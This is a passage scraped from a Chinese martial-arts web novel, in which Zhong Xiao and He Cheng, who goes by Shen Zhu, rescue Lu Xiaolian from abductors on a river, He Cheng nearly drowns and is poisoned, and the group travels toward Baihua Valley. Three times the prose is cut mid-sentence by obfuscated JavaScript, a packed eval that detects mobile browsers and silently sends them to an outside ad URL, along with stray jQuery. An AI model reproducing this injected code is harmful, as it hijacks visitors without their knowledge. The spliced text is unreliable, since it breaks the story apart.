d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钟晓顺着他的视线看去,身子也不由僵住,脚步再迈不出去,一颗心颤了一颤,沉沉坠下去,凉意顺着脊背攀上来。 他们的马车之所以歪歪斜斜地停在路边,是因为拉车的马已也歪歪斜斜倒在路边死了。 那匹车夫从小养大的、毛发油亮的棕黄色马驹死得很诡异,歪歪斜斜倒在路边,身子倒是完整的,可四条马腿像是被什么东西吸光了血肉一般,只剩一层皮毛,贴着四根嶙峋的腿骨。 而可怕的是,它的死不是孤例,距离它几步之外,还密集地倒着十几匹马。 每一匹都与它一样,身子完完整整,连一处见血的伤口都没有,只有原本健硕的马腿枯瘦得骇人。 钟晓没见过这么怪异的场面,惊得说不出话来:“这——” 贺承抵着唇闷声咳嗽,声音暗哑,强作镇定安慰自己:“只是一些马……晓怜,晓怜不会有事的!” 22.第二十二章 落水 马车上没有人,周围的草丛里也没有找到陆晓怜的任何痕迹,贺承与钟晓也不知道该不该感到高兴。 贺承重伤在身,经脉受损,本不宜再运功,为了追寻陆晓怜的踪迹,他强运轻功追赶几十里地已是强弩之末,先是被遍地横尸的惨状一激,又因为没见到陆晓怜而庆幸,悲喜之下,情绪起伏跌宕,松开马车的布帘,高高悬起的一颗心落回去,眼前陡然一黑,便脱力栽倒下去。 “沈兄!”钟晓眼疾手快将人扶着,伸手一探他腕上脉门,急道,“内息怎么这样乱?你的经脉受不住的,快些坐下来调息!” 相处几日,钟晓对贺承的身体状况越来越了解—— 他经脉缺损,追到此处已是极限,经脉再受不住内息流转的冲击,寸寸剧痛。 然而,陆晓怜还是没有找到! 贺承挣脱开钟晓,靠着马车,借力勉强站稳:“我缓缓就好,你去看看,我们该往哪里走……” 钟晓忧心忡忡:“沈兄,你不可再运功,留在此处调息,我自行往前去找就好。” “不行!”贺承急得提高了声量,“对方有十几个人,也不知其深浅……你自己去,太危险……”他话没说完,便说不下去,偏过头去剧烈呛咳起来,抵在唇边的指掌之间溅落一簇簇殷红。 “可是——” 贺承缓过一口气来,拍拍钟晓的肩膀,几乎连说话的力气都没有,声音显得越发低微飘渺:“不必多言。我在这里等,你找到路回来喊我……” 拗不过他,钟晓只好拎着受到惊吓的小黑狗,半哄半骗地摁着它四下嗅了一圈,费了一番功夫才锁定陆晓怜的去向。他折身回来喊人,正看见贺承倚着马车坐在地上,捏着一颗血红色的药丸往嘴里送。 那颗红色药丸怎么这样眼熟? 钟晓皱着眉头想了一会儿,记起他应该是在葛家兄弟潜入陆晓怜房间偷信那日,见过类似的红色药丸。 他那日背着葛家兄弟问过沈兄,那时沈兄怎么说来着?说这叫秋梧半死丹。后来南婧前辈也提过这丹药的名字,大致都是说它是毒非药,不是什么好东西。 既然不是什么好东西,沈兄吃它做什么? 钟晓快步上前,扣住贺承的手腕:“这便真的是秋梧半死丹吗?南婧前辈说这不是什么好东西,毒素积压体内无法化解,后患无穷,沈兄,你吃这个做什么?” 此刻,贺承身上内息流转飞快,经脉压制不住,身上异乎寻常的滚烫。钟晓的体温不高不低,握住他的手腕,竟让他觉得清凉舒爽,意识也更清明几分。 他摇摇欲坠地攀着钟晓的手臂:“你猜……它为什么叫半死丹?” 钟晓当然没心情猜,只瞪着眼前气色灰败的人。 贺承缓了缓,又继续说:“服下它,只是半死,却绝不会死绝。至于后患……那总归是以后的事情,总比眼下立刻就死了好。” “你不是好了吗?南婧前辈不是给你配了药?” 贺承当然不能让钟晓知道,为了救陆晓怜,他已经强行引出在南州城里被南婧用药强压下去的内息,此刻,即便是他自己,也无力将内息压制回去。 好在钟晓对五毒谷的毒药只是一知半解,要敷衍他,也不算难。 贺承脸不红心不跳地毁坏南婧的名声:“南婧前辈就是王婆卖瓜,其实她的药效早过了,不服用秋梧桐半死丹,我根本活不到百花谷。” 钟晓将信将疑。 贺承又说:“反正马上要去百花谷了,见了神医再说。” 这话似乎有道理,又似乎哪里不太对。 钟晓在贺承的催促中慢慢松了手,看着他沈兄飞快咽下那枚毒药,后知后觉地冒出一个问题,就要到百花谷了,所以就可以喂自己吃毒药吗?万一神医只会医病,不懂解毒,怎么办? 钟晓脑子里的这个“怎么办”,显然不在贺承的考虑里。 他服下秋梧半死丹,阖眼呼吸几轮,沉重凌乱的气息逐渐平复如常。不知是秋梧半死丹真有奇效,还是贺承有意掩饰自己的真实情况,服下丹药后只歇了片刻,他扶着马车站起身,已经全然不见刚刚的孱弱模样。 “带路。”贺承看了钟晓和他怀里的小黑狗一眼,也不知道这指令是发给谁的。 小黑狗一路低头嗅着地上的气味,一路带着贺承和钟晓往前走。两人一狗走出了几十米,开始在草丛里陆陆续续发现一小块一小块淡青色布料。 那是陆晓怜平常爱穿的颜色,十有八九是她留下的痕迹。 应该是陆晓怜知道他们会找来,途中一找到机会就丢出一点东西来指路。 顺着陆晓怜留下的痕迹寻找,隐约听见水声潺潺,再往前,应该有条河。 贺承挡了挡钟晓,示意他放轻脚步,注意听四下的动静。果然,两人静气凝神屏息片刻,听见潺潺水声中夹杂着什么人的交谈声—— 最初先是一个语调怪异的男声,应该是昨日与贺承同宿在客栈的那帮异乡人之一:“你们中原人讲信用,多谢送船给我们。” 另一个男声回应,语言语调与大家平日里说话无异:“我们既说了要与你们首领合作,自然是有诚心的。此刻实在拨不出车马来,只能将这艘停在附近的旧船找来救急,希望你们见谅。但你们要送这两位姑娘去——” “这是我们族里的事,不能跟你说太多。” 被异乡人打断,那人也不恼,只是笑笑:“也罢,那我便送到此处,后会有期。” “后会有期。” 之后便是哒哒马蹄远去的声音,贺承与钟晓小心走近,拨开水边灌木看去,只能见到一个身形颀长的男子骑着一匹黑马离开的背影。五六个异乡人站在岸边目送他离去后,转过身来看面前流水湍急的溪河,靠岸停着一艘不大的船上,船夫正利落地收起缆绳,马上就要扬帆而起。 从刚才那段对话来看,这艘船上应该有两位姑娘。 恰好,昨日客栈里失踪的也是两位姑娘。 “不能让他们把船开走。”贺承皱眉,“我去拦住岸上的人,你上船救人。” 昨日入住客栈的异乡人有十名,此刻岸上只有六人,应该还有四个人已经登船盯着他们绑来的两位姑娘。 这样的安排很合理,钟晓点头应下。 贺承朝钟晓使了个眼色,两人挥剑自藏身的灌木从中一跃而出,剑光与水光交相辉映,气势如虹。 南方连绵的雨季刚刚停歇,水源丰沛,流水湍急,解开揽绳的船晃晃悠悠,尚未登船的人攀着船舷颇显得十分笨拙。 贺承和钟晓一人一脚,分别将攀在船舷上快要成功上船的两个人踹回岸上去,持剑拦在岸上人与船之间。 “我拦住他们,你上船救人。” 钟晓毫不拖泥带水,只说了声“当心”,转身过去,足下轻点水面,稳稳落到船上。 见有人挥着剑掠过水面落到船上来,船夫惊慌失措,将手里的船桨一丢,当即跪倒在地:“大侠饶命!” 钟晓问:“你船上是不是有两个姑娘?” “在,在舱里,是他们带上来的,我,我什么也不知道啊!” 得到答案,钟晓转头便往船舱走去,只听得身后“扑通”一声,原是那船夫在江河上讨生活,水性极好,得了机会,便弃船逃命而去。 船夫确实只是寻常船夫,牵扯不到江湖纷争里来。钟晓并不理会,大步迈进船舱,却见船舱里头已经空空如也,倒是船尾传来窸窸窣窣的动静。他快步穿过船舱,向船尾赶去,只见有一位姑娘被五花大绑塞在角落里,由两个人守着。 这姑娘与陆晓怜身量相当,年龄相仿,却不是陆晓怜。 真正的陆晓怜被五花大绑捆得结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13434841|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结实实,颤巍巍地放在从船尾支出去的两根木桨上。木桨架在船舷上,留在船里的这端有人扶着,可只消稍稍松开手,失了平衡,陆晓怜便会立即落入水中。 钟晓怒目圆瞪:“你们要做什么?” 一个扶着木桨的人,朝岸上偏了偏头:“不想她淹死,就先让你的朋友停手。” 钟晓顺着他的指路,看向岸上。 之前,钟晓也知道沈烛功夫不弱,可此刻亲眼见到他以寡敌众,将未上船的六人死死拖在岸上,大有“一夫当关万夫莫开”之势,心里不由生出崇拜来。 他确实没想到,他们在南州城里随随便便结识的这位沈兄,不仅是不弱,甚至称得上是十分厉害。 贺承之前没有兵刃,如今手持陆晓怜遗留在客栈里的横秋剑,更是如虎生翼。 他出剑没有花哨的招势,每一下都刺得干净利落。他出剑极快,剑影交叠,稍一迟疑,便来不及阻拦他的剑招,被他一击即中。 钟晓朝岸上看去的这片刻之间,贺承手中的剑径直破空而去,又刺中了两人的肩膀。 留在岸上的六名异乡人,如今已有四人负伤。 不知前因后果,贺承没有下死手,那四人的伤不算重,仍能负隅顽抗,护着之中一个像是他们统领的人,边打边退。 可他们的船停在这里,船上有他们的同伴和他们此行的目的,他们其实无路可退。 其实岸上的人败局已定,却架不住船上的同伴手里捏着贺承他们的软肋。扶着船桨的人稍稍抬手,船桨的另一头沉下去,陆晓怜往下滑了几寸。 他盯着钟晓,重复一遍:“先让你的朋友停手。” 陆晓怜被封上了嘴说不出话来,她看看钟晓,又看看岸上的贺承,目光中杂糅着恐惧、焦急、无措,看不分明。 钟晓看着船桨上摇摇欲坠的陆晓怜,心一横,高声道:“沈兄,我师姐在他们手上,你先停手!” 听见这话,贺承立刻收起攻势,往后退出几步,卸下强行收回的力道,边横剑自护,边循声看去,一眼便看见陆晓怜被两支船桨支撑着,架在湍急的水流之上,摇摇欲坠。 贺承脸色微变,眉间的褶皱深了几分。 见同伴拿捏住了贺承的软肋,与贺承持剑对峙的人得寸进尺。那个统领模样的人高声道:“把你的剑丢到地上,否则我让他们马上松手。” “好。”贺承毫不犹豫,横秋应声落地。 那统领又说:“放我们走。” 贺承无奈:“我们并无意与你们为难,但是你们不能带走我的朋友。” “你的朋友?”那统领转头看了一眼陆晓怜,回头过来似笑非笑地看着贺承:“她是你的心上人?” 贺承闷咳一声,加重语气强调:“是我的朋友。” 那统领看了眼贺承毫不犹豫丢在脚边的剑,眉毛一挑:“你当我是傻子吗?” 贺承沉下脸:“这与你无关。” “有关。”那统领的神色也沉了下来,“如果她是我们要找的人,你胆敢以情爱亵渎她,你就得死!” “你们要找什么人?” “我们要找一个从我们那里跑到中原来的女人。” 贺承轻笑:“那她必然不是的,她自小长在青山城,不曾踏出中原一步。” “哦?那我就放心了。”那人恍然一笑,朝船上的人抬了抬手,高喊,“不是我们要找的人,扔了吧!” 话音刚落,船上的人当真就听了号令松了手,贺承站在岸边眼睁睁看着陆晓怜像一块石头般,硬挺挺地落入水中,甚至没有挣扎呼救的机会,一声不吭地沉了下去。 “你——”贺承气极,“卑鄙!” 说话间,他运足了十成功力,挥出一掌狠狠击在那统领胸口,之后不再管他的死活,转身跃入水中,去寻陆晓怜踪迹。 23.第二十三章 溺水 水流从四面涌来,汹涌灌进鼻腔,挤出陆晓怜落水前用力吸进肺里的那口气。 河床深不见底,越往下沉,越是一片漆黑,陆晓怜手脚被缚,无法挣扎,像一颗冰冷僵硬的石头一般沉甸甸地坠下去,离河面的那片潋滟天光越来越远。 就要死了吗? 她就要死在这个不知名的地方,就要死在一群不知来路的人手里吗? 她到死,都无法知道无涯洞外的真相,都不能再见贺师兄一面吗? 好不甘心啊! 一定要死吗? 想到这里,陆晓怜屏住一口气,逼迫自己迅速冷静下来。 她不是不会水,青山城里也有河湖,夏日炎炎时,她也常在河湖中嬉水,此刻她双腿双手都被绳索束缚,却还能两脚并着一起踩水。摸清楚此刻处境,她逼着自己放松下来,试着曲起双腿,猛地一踏水波,试着借力将自己的身子往水面上推去。 不过是走投无路的勉力一试,没想到,四周当真有水波将她往上托了托。 陆晓怜心中一喜,趁热打铁,又奋力蹬了几下,身子被水流往上托了一点,离水面上光亮,似乎是越来越近了…… 可是好景不长,这一线生机很快被一股水流压了下去。 陆晓怜无法张口呼吸,鼻腔里灌满了水,肺腑被挤压得生疼,因而她一刻不敢歇,奋力写水面瞪去,却不料河里流水湍急,水流太乱,忽然一股乱流冲过来,将快要力竭的陆晓怜歪歪扭扭地河底又卷了下去。 光线越来越暗,头顶的天光渐渐迷离,遥远得仿佛是上辈子的事。 她已经无法呼吸,也没有力气再去触及那片光明,只用最后的力气抬眼,看着水面上的光距离自己越来越远,她再提不起一点力气,目光渐渐迷离,神志也在缓慢抽离…… 半昏半醒之间,陆晓怜感觉有人在拍自己的脸。 她半眯着眼,昏昏沉沉地想,她这次大概是真的要死了,不然,她怎么会在幽暗的水底看到一个人?而且,这个人的眉眼,跟师兄好像…… 水流很急,贺承跳入河里,费了好些时间才找到陆晓怜。找到人的时候,她半睁着眼,目光痴钝,意识已经不大清醒。 贺承拍了拍陆晓怜的脸颊,扯掉她嘴上的布条。 陆晓怜涣散的目光聚了聚,落在贺承身上,喃喃喊了声:“师兄……” 话音在水里飘飘荡荡,慢悠悠地传来,贺承又是心慌又是心疼,却顾不上回应。他揽住陆晓怜的肩膀,倾身过去,贴着她被水浸得冰凉的唇,撬开她的牙关,渡了几口气给她。 那些人绑住陆晓怜,原本是为了令她无法挣扎,置她于死地,却不想这竟成了贺承救她的便利。 陆晓怜没有挣扎,也无法挣扎。 因为将她揽入怀中的人是贺承,她的身体也在靠近他的那一刻彻底放松下来,乖巧地依偎在贺承怀里,任由他带领着去向任何地方。 她知道,他带她走的必是生路。 即使是在这样的绝境里,她也相信,她的师兄可以争出一线生机。 只是,陆晓怜没有想到,他争来的这一线生机是给她的,而与他自己无关。 波浪浮沉中,她被一股力道托上了水面。死里逃生,她仰着头大口呼吸,怔忪间,听见钟晓惊喜的声音:“师姐!” 她的脑子还有些混沌不清,眼睛也被水迷蒙一片,只恍惚觉得钟晓的声音越来近,自己的身子被一股力量向上拉起的同时,一直抵在身后将自己托出水面的那股力量也猛然一推,她便像一条被网住的大鱼,扑棱着上了岸。 其实陆晓怜上的不是岸,而是不知哪里来的一条小船。 奇怪的是,陆晓怜刚刚明明听见钟晓的声音,可钟晓却没有第一时间来看她,蹲在她身边,手忙脚乱地拆着她身上的绳索的,是一个身穿靛蓝色衣裙的姑娘。 钟晓呢? 陆晓怜心里无由地发慌,她边呛咳出灌进肺腑里的水,边挣扎着回过头,只见钟晓惊慌失措地喊了声“沈兄”,应声跳入河里。 钟晓为什么要跳进河里去? 她隐约记得,一直有一股力量在她身后将她托出水面。 那是……什么呢? 她像是做了一场噩梦般恍惚,直到听见钟晓的那一声“沈兄”,她才猝然惊醒过来—— 她不是在做噩梦,这一切都是真实发生的! 有人潜入水里救了她! 是……沈烛? 陆晓怜咳得嗓子发哑:“其他人呢!” 蹲在她身前,又扯又咬,扯开她身上绳索的靛蓝衣裙姑娘顿了一下,把陆晓怜的手臂从一个绳圈里绕出来:“其他人?那些绑我们的人吗?都被你的朋友打跑了!你的朋友很厉害,他们才两个人就……” “我不是说他们!”陆晓怜打断她,脸色煞白地环顾四周,“我是说,我的朋友呢?” 此刻,她在一艘小船上。这船比她落水前乘的那艘船要小许多,只能坐得下四五个人,看起来像是大船上备用的轻便小船。 这么小的船,陆晓怜一眼便能看得清楚—— 这船上只有她和那个穿着靛蓝色衣裙的姑娘两人。 那姑娘陆晓怜认得,正是和她一起被人从客栈莫名其妙绑走的住客金波。她又问了金波一遍:“我的朋友呢?来救我们的那两个人呢?” 金波将套在陆晓怜身上的最后一个绳圈取下来,看了一眼河面,面带忧愁说:“这里的水流比你落水的地方还要急,你的朋友把你送上船之后,被水流冲出去了一小段,然后就沉下去了。” 陆晓怜这时才发现,她们所在的这艘小船,其实已经离最初她们被困的那艘船有一段距离。她脸色一白,挣开绳索,几乎是手脚并用地爬到船边,扶着船舷,瞪大了眼看着茫茫水面,嘴唇发颤,喉咙里卡着一个名字,却喊不出来。 金波扶着她的肩膀安慰:“别急啊,你的另一个朋友已经下水救他了,不会有事的。” 陆晓怜没有理她,紧紧盯着水面,不放过一丝异样的水波。 金波在她身边依旧絮絮叨叨地试图安慰她:“别太担心了,你那个朋友特别厉害,一个人就能把他们六个人打得屁滚尿流,一定不会有事的!” 金波是一片好心,可她毕竟不知内情,虽想安慰,却不得其法,反倒惹得陆晓怜的心越揪越紧—— 她记得,南州城里最凶险的时刻,便是这位经脉受损的沈烛与她联手对抗卓弘明,脆弱的经脉承受不住汹涌内息,以至于命悬一线,若没有南婧前辈出手相救,他早就经脉断绝而亡了。 这一次,他旧伤未愈,先是与那帮异乡人大打出手,又下水救人,恐怕早已是强弩之末,此刻脱力沉入水中,当真是凶多吉少! 这事越往深处想,陆晓怜就越觉得心慌,手指紧紧扣着船舷,木头上的倒刺扎进指尖,她浑然不知。一旁的金波怕她一时激动跳进水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的头无力地垂向一侧,断断续续地咳出了呛入肺腑的水,将水都咳尽了,依旧是气息微微。陆晓怜推了推他的肩膀,依旧无法将人唤醒,咬着牙将他的头扶正,深吸一口气,按着他的肩膀附身下去,长长地渡了一口气进去。 如此反复几轮,贺承终于闷声咳了一声,没有呛出水来,却呛出一口浊气。 他费力喘息,挣扎着睁开了眼,漆黑的眼珠缓缓转动,扫视过周遭,最后将目光聚在陆晓怜身上,愣了片刻,他喉结微动,灰白的唇颤了颤,似乎想要说什么。 “你别说话。”陆晓怜伸手抵在他唇边,“我没事,你放心吧。” 他想要的答案,大概真的就是这一句。得了陆晓怜这句话,他确实什么也没说,唇边挂上一丝安然舒心的笑意,头一沉,又陷入昏睡。 陆晓怜颤抖着手伸到他鼻间,确定他只是睡过去了,才彻底松了口气,眼泪终于汹涌而下。她没有立刻松开贺承,边默默流泪,边将双手贴到他脸上,一寸一寸抚摸过他的脸颊。 终于,她在他耳后摸到一条细细的纹路。 她的手指反复摩挲着那条纹路,一时也不知该喜该悲,抬头盯着地上孱弱狼狈的人看了半晌,慢慢倾身下去,将头抵在他肩上呜咽着哭起来。 钟晓错愕:“师姐……” 金波蹲在旁边,瞪着一双清澈明亮的眼盯着陆晓怜看了半晌,她抹了一把自己又酸又热的眼睛,用肩膀顶了顶身边僵硬得像个石雕的钟晓:“喂,这就是陆姑娘的心上人吧?怪不得她刚刚那么紧张他!” “不!”钟石雕硬邦邦地说,“他们不熟!” 24-30 第24章 第二十四章百花谷百花谷凶险,你们…… 金波说自己是从家里逃出来的,此前没有来过这里,也不知道世道艰险,竟还有会无缘无故劫持女孩子的匪徒。她孤零零的一个姑娘家,经此变故,受到惊吓,行李还落在客栈里,实在是寸步难行,可怜兮兮地求钟晓他们捎上她一起。 钟晓看着金波楚楚可怜的模样,虽然心生恻隐,却又因不知她的底细,而有些犹豫。 毕竟他刚刚目睹他师姐扑在他们在南州城里捎上的那位“沈兄”怀里哭得梨花带雨,甚至此刻他们在岸上生了火烘衣服,他师姐也是寸步不离地守着这位“沈兄”,横竖这匹姓沈的狼已经是登门入室了,天知道,这位姓金的姑娘会不会给他带来什么新的冲击? 可陆晓怜却不这样觉得。 她和这位金姑娘是共患难的交情,觉得她一个不会武功的小姑娘无论去哪儿都充满危险,做主答应她与他们同行一段,觉得到一些热闹的镇子上,他们帮她添置些东西,给她些盘缠,她再行离开为好。 把贺承救起后,他们将小船摇到岸边,落汤鸡一般地上了岸。 虽然春雨停歇后,天气暖了一层,可裹着一身湿透的衣裳,还是冻得人发抖。天色尚早,他们没有立即启程,而是河边找枯枝残叶升起火堆取暖,希望能稍稍烘干身上湿漉漉的衣裳。 此刻,陆晓怜盘腿坐在火堆旁,翻烤着从贺承身上褪下来的外衫。昏睡中的贺承孱弱无力躺着她身侧,她不时要停下手里的动作,低下头凑过去,或是看看他的脸色,或是伸手摸摸他额头的温度。 金波看了看陆晓怜,又小心翼翼瞥了一旁面色铁青的钟晓,抿了抿唇,不敢吭声。 即便她没有出声,钟晓也知道她在想什么。 他沉着脸狠狠瞪了金波一眼,决定起身换个位子坐。 嗯!就坐在他师姐与沈兄之间! 可不幸的是,他很快发现,他的师姐鬼迷心窍,离沈兄越来越近,此刻几乎是贴着他席地而坐,两人之间竟然并没有空间可以供他坐下。 钟晓痛心疾首,又默默回想了一遍他贺师兄往日对他的好,心一横将沈烛扶起来,让他枕在自己腿上,硬生生挤进两人之间坐好。 贺承身上忽冷忽然,本也睡不安稳,钟晓搬动他的身体,又牵扯到身上的伤,疼得他脊背上沁出一层冷汗。钟晓小心翼翼地扶着贺承靠在自己腿 上,刚刚松开手,便见他浓密的睫毛剧烈颤抖着,眉头一拧,缓缓睁开眼。 他的眼瞳极黑,从黑长的睡梦中醒来,那双黑亮如曜石的眼像是蒙了一层薄薄的雾,分外茫然,也分外脆弱。 睁眼时,贺承正枕在钟晓腿上,天时地利,他与钟晓四目相望,脑中有片刻空白,继而心里有一丝庆幸悄悄地冒出来—— 他隐约记得有人给他渡气,隐约记得有人急得搂着他的肩膀泣不成声,隐约记得有人寸步不离地守在他身边,可是他在水中沉沉浮浮,从水中被救起后,也是昏昏沉沉,已经记不分明这个人究竟是谁? 可这个人究竟是谁,其实并不难猜。 与他结伴而行的,不过两人,这个人要么是钟晓,要么是陆晓怜—— 这个人若是钟晓,他一向是侠肝义胆到几乎迂腐的地步,萍水相逢的沈烛为了救他师姐陆晓怜命悬一线,他用什么办法救沈烛、耗费多少心力照顾沈烛,都不算过分。 可这个人若是陆晓怜,事情就变得可怕起来,陆晓怜满心满眼都是贺承,怎么可能这样无微不至地照顾初初相识的沈烛? 贺承有些心虚,试探着发问:“是你救了我?” 钟晓眼尾的余光扫了他师姐一眼,抢答:“是,是我!” 果然是钟晓! 贺承悬起的一颗心稍稍落了回去,迟疑片刻,又不放心地追问:“刚刚被救起时,也是你给我渡气的吗?那时,你,你还趴在我身上哭?” 贺承追问这句,只是为了让自己更安心,可落到钟晓耳朵里,却是另一层意思—— 这个人就是还不死心! 钟晓可没有忘记,在南州城里江家酒肆的屋顶上,沈烛亲口承认过,他喜欢陆晓怜,并且已经偷偷喜欢了很久!他本就居心不良,若是让他知道师姐给他渡气,为他哭得停不下来,他岂不是要得意死,岂不是一刻不歇就要撬了他贺师兄墙角! 钟晓紧张得浑身汗毛都要竖起来了,又急急忙忙地抢着回答:“是我是我,都是我!把你从船上搬到岸上,陪你烤火取暖的,统统都是我!” “原来是这样。”贺承松了一口气,可又觉得像是有石子投入河湖之中,激起一圈又一圈的涟漪,隐约有某种说不清的遗憾,经久不散。幸而水面终究会恢复平静,终究会悄然隐藏起水底的暗流,贺承面色如常,甚至眉梢眼角扬起温和诚挚的笑意,对钟晓轻声道:“多谢。” 四人围着火堆又坐了半个时辰,将衣物烤得半干,熄了火堆,上了系在河边的小船。 此刻在荒郊野岭之间,找不到车马,为了是照顾伤病在身的贺承和手无缚鸡之力的金波,他们决定利用异乡人留下的那艘小船,沿着河岸顺流而下,找个地方补齐物资,再往百花谷的方向出发。 他们的运气不错,天色刚刚擦黑,便进到一座小镇。 这是一座很小的镇子,陆晓怜原本以为这里不会有多少外人,镇子里未必有地方投宿,却没想到沿着镇子上唯一的一条街走,竟有不少开门做生意的客栈旅店。 经历生死一线的惊险,又在河上漂了大半天,所有人都十分疲惫,就近找了家客栈入住。有了前车之鉴,这一回他们要了相邻的两个房间,贺承与钟晓住一间,两位姑娘住一间。 陆晓怜跟掌柜要了姜汤,盯着大家一人一碗灌下去,才放疲惫已极的贺承回房休息。 剩下的三个人不仅累,还很饿,目送着贺承上楼后,坐到桌前,七嘴八舌地开始点菜。 大鱼大肉点完,店小二欢欢喜喜地要去下单,陆晓怜忽然出声喊住他,交代了一句:“劳烦加一份清粥,生病的人胃口不好,不必熬得太稠。” 连店小二看的出来这粥是为刚刚上楼的那位公子熬的,更别提钟晓和金波了。 金波依旧瞪着那双清澈的眼,眸光闪闪地看着陆晓怜,又转过头瞪了贺承一眼,那得意洋洋的神情,仿佛在说“看吧,我就说他是晓怜姐姐的心上人”! 于是,钟晓更加郁闷,这顿饭,想必他吃什么都不会觉得香。 事实上,这顿饭并没有一个人吃得好。 刚刚上到第三道菜,金波忽然放下筷子,一把握住陆晓怜的手:“晓怜姐姐,我心里忽然有点慌,我们上去看一眼沈大哥吧!” 饭可以一会儿再下楼继续吃,陆晓怜当然不会拒绝金波的提议,钟晓自然也不会放任两位姑娘独自上楼。 于是三个人放下筷子,一齐朝楼上走去。 不料,他们推开房门看过这一眼,便再无法下楼继续那顿丰盛的晚餐了。 虽然贺承说要回房休息,可他们推开房门,却见房中未点灯烛,一片漆黑。 钟晓掏出火折子,摸索着点上灯,才发现贺承竟倒伏在地上。显然,他强撑着一口气,回到房间时便已力竭,别提点灯,连走近床榻的力气都没有。 见此情景,陆晓怜二话不说,蹲身下去,将贺承扶起靠在自己怀中,钟晓举着灯烛走过来,借着烛火,能看见此刻的贺承口唇泛着浅浅的一层乌色,显然是中毒了。 “是秋梧半死丹!”钟晓恍然,“去救你们的路上,他已经有些撑不住,当着我的面服了秋梧半死丹,此刻定是毒发了!” 陆晓怜脸色煞白:“怎么会这样?刚刚不是已经没事了吗?” “能让我看看吗?”金波捏着袖口走近,虽然出声询问,开口时已经不由分说地蹲在贺承身边。金波抬起贺承无力垂在地上的左手,撩起他的衣袖,便见他左手手腕三寸以下是一片骇人的乌紫色,而手心里浅浅划了一道口子,正汩汩往外冒着黑血。 陆晓怜下意识地要握住他手腕上的伤口为他止血,却被金波拦住。 她不解地看着金波,只见金波不仅不为贺承止血,反而捏着他手臂上浮起的青筋,迫使伤口处的血流得更快些。 金波解释:“他将毒逼到左手,放出毒血,应该是想减少沉积在体内的毒素,降低毒发的痛楚。”她边说,边看了眼贺承的脸色,面露忧虑:“这法子确实能排出一些毒素,可失血太多,他可能撑不住。” “你能救他。”陆晓怜紧紧盯着金波,开口并不是问句。 “我可以试一试。”金波咬了下嘴唇,“但你们得出去外面等。” 与救人相比,金波的这个要求简直微不足道。 陆晓怜与钟晓在门外等了半个时辰,终于等到金波重新拉开房门。 看见金波的神情并不轻快,陆晓怜的心沉沉坠了下去,她喉咙发紧,连一句“他怎么样了”都问不出口。她听见金波有些无措地说:“毒伤已经无碍。人刚刚醒过,可他有些发热,没什么精神,已经又睡过去了。” —————— 所有人都太过疲惫,这一觉一夜无梦,直睡到第二日天光大亮。 吃过早饭,钟晓打算出去找个店套架马车准备出发,顺便问问路,并添置些路上要用的东西。金波玩心重,在客栈里关不住,听说钟晓要出门,三两口吃掉手里的包子,嚷嚷着要跟他一块出去。 贺承还在病中,陆晓怜自然是不会出门的。 虽说落水受凉,风寒发热,算不上是什么大事,可这人的身体状况太过糟糕,她担心离开这座小镇后,他在荒郊野岭里病得厉害,连副药都喝不上,特意交代钟晓找家医馆,开几副常用的药备着。 钟晓点头应下,又问她:“师姐,还有什么要我买的吗?” 陆晓怜想了想,又说:“若是遇见梅子果脯,也带点回来。即便让你备着的药用不上,去百花谷治病,也少不得要喝药,备点梅子好压压苦味。” 话里话外,她倒是没有提买梅子是给谁买的,可在场的人却都听得明白,除了楼上病着的那位,还有谁少不得要喝药? 钟晓抿着唇看陆晓怜,碍于金波在场,欲言又止,只闷闷应了声“好”。 他们投宿的这个镇子虽小,却很热闹。 昨天来时天色已晚,街上行人寥寥,钟晓原本还担心找不到地方买马车,白日里出门来看,才发现路上的人和车都不少,沿街最多的店便是修车铺、医馆和客栈 。 钟晓找了家修车铺打听马车,老板说自家也在两个月一次的马市上卖马车,若是钟晓急着要,给他半天时间,午后便能来取。 钟晓掏钱付了定金,又问百花谷怎么走。 修车铺老板转身拿了张地图出来给他:“喏,你在我这里买车,这地图就送你吧!不过,你们若是去百花谷,其实不必买车,山路崎岖,车子也只能驾到山脚下。你们租我的车过去,把车停在山脚下,自会有人帮忙将马车赶回镇子里。” 金波惊讶:“很多人从这里去百花谷吗?竟然还有专门租车的生意。” “那可不!”老板笑笑,“我们小溪镇是距离百花谷最近的一个镇子。许多人到这里来,就是为了去百花谷。” 原来他们误打误撞竟来对了地方。春日雨水充沛,水流湍急,走水路顺流而下竟比走陆路要快得多,半天功夫已经到达山谷外的最后一个城镇。 这是意外之喜,钟晓问:“从这里到百花谷,还要多长时间?” “大约一个时辰便能到山脚下,之后便只能用脚走,能不能见到神医,全凭运气了。”老板摇摇头,“别怪我泼你们冷水,百花谷的神医,大家都只听过,却没有人见过。其实我们镇子上也有好些大夫,虽然有些是声称自己见过神医、得过点拨的骗子,但也有几位是有些本事,慕名而来,定居在此,希望有朝一日能见到神医的。” 钟晓皱眉:“难道百花谷神医,只是传言?” 老板摇头:“没人知道。但我听说进百花谷的路机关重重,危机四伏,之前也有人硬闯百花谷出过事,缺胳膊少腿都算是好的了,丢掉性命的,也大有人在。” 金波抖了一抖:“这哪里是什么神医?简直是谋害人命的恶鬼!” “所以啊——”老板说,“年轻人听我一句劝,镇上也有不错的大夫,先在镇上治治看,能治得好最好,若是治不好,即便到了百花谷,只怕也没机会活着见到神医。” 